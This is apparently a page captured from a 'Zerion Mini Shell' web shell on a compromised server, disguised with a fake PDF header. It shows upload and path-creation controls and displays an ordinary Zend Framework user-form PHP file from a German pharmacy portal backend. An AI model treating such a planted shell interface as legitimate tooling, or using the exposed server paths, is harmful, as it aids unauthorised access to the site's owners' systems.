%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/bbw/farmaci/kritik-portale/module/Backend/src/Backend/Form/
Upload File :
Create Path :
Current File : /var/www/html/bbw/farmaci/kritik-portale/module/Backend/src/Backend/Form/User.php

<?php
/**
 * Created by PhpStorm.
 * User: juliangilles
 * Date: 29.07.14
 * Time: 12:32
 */

namespace Backend\Form;

use Backend\Filter\UserFilter;
use Zend\Form\Element\Checkbox;
use Zend\Form\Element\Hidden;
use Zend\Form\Element\Select;
use Zend\Form\Element\Submit;
use Zend\Form\Element\Text;
use Zend\Form\Element\Password;
use Zend\Form\Form;
use Zend\Json\Json;

class User extends Form
{

    public function __construct()
    {
        parent::__construct("user");
    }
    
    public function init()
    {
        $this->setInputFilter(new UserFilter());

        $this->setAttribute("action", "/backend/user/save");

        $name = new Text("name");
        $name->setLabel("Vorname");
        $name->setAttribute("class", "form-control");
        $this->add($name);

        $surname = new Text("surname");
        $surname->setLabel("Nachname");
        $surname->setAttribute("class", "form-control");
        $this->add($surname);
        
//        $username = new Text("username");
//        $username->setLabel("Benutzername");
//        $username->setAttribute("class", "form-control");
//        $username->setAttribute("id", "username");
//        $username->setAttribute("placeholder", "Benutzername");
//        $this->add($username);

        $email = new Text("email");
        $email->setLabel("E-Mail");
        $email->setAttribute("class", "form-control");
        $this->add($email);

        $this->add(array(
            'type' => 'Role',
            'options' => array(
                'label' => 'Rolle'
            ),
            'attributes' => array(
                'class' => 'form-control'
            )
        ));

        $password = new Password("password");
        $password->setLabel("Passwort");
        $password->setAttribute("class", "form-control");
        $this->add($password);

        $passwordVerify = new Password("passwordVerify");
        $passwordVerify->setLabel("Passwort wiederholen");
        $passwordVerify->setAttribute("class", "form-control");
        $this->add($passwordVerify);

        $phone = new Text("phone");
        $phone->setLabel("Telefonnummer");
        $phone->setAttribute("class", "form-control");
        $this->add($phone);

        $active = new Select("active");
        $active->setLabel("Aktiv");
        $active->setAttribute("class", "form-control");
        $active->setValueOptions(array(
            0 => "Inaktiv",
            1 => "Aktiv"
        ));
        $this->add($active);

        $newsletter = new Checkbox("newsletter");
        $newsletter->setLabel("Newsletter");
        $this->add($newsletter);

        $salutation = new Select("salutation");
        $salutation->setLabel("Anrede");
        $salutation->setAttribute("class", "form-control");
        $salutation->setValueOptions([
           "Frau" => "Frau",
            "Herr" => "Herr"
        ]);
        $salutation->setEmptyOption('Wählen Sie ein Geschlecht.');
        $this->add($salutation);
        
        $title = new Select("title");
        $title->setLabel("Titel");
        $title->setAttribute("class", "form-control");
        $title->setValueOptions(array(
            "Dr." => "Dr.",
            "Prof." => "Prof."
        ));
        $title->setEmptyOption('Wählen Sie einen Titel.');
        $this->add($title);

        $id = new Hidden("id");
        $this->add($id);

        $submit = new Submit("save");
        $submit->setAttribute("class", "btn btn-success");
        $submit->setValue("Speichern");
        $this->add($submit);
    }

    public function setDefaultsByUser(\Basis\Model\User\User $user)
    {
        $data = array(
            "id" => $user->getId(),
            "name" => $user->getName(),
            "surname" => $user->getSurname(),
//            "username" => $user->getUsername(),
            "email" => $user->getEmail(),
            "role" => $user->getRole(),
            "phone" => $user->getPhone(),
            "newsletter" => $user->getNewsletter(),
            "active" => $user->getActive(),
            "title" => $user->getTitle(),
            "salutation" => $user->getSalutation()
        );
        $this->setData($data);
    }

}

Zerion Mini Shell 1.0